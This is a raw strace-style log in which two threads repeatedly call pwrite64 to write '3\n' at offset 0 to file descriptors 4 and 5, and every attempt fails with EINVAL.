[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
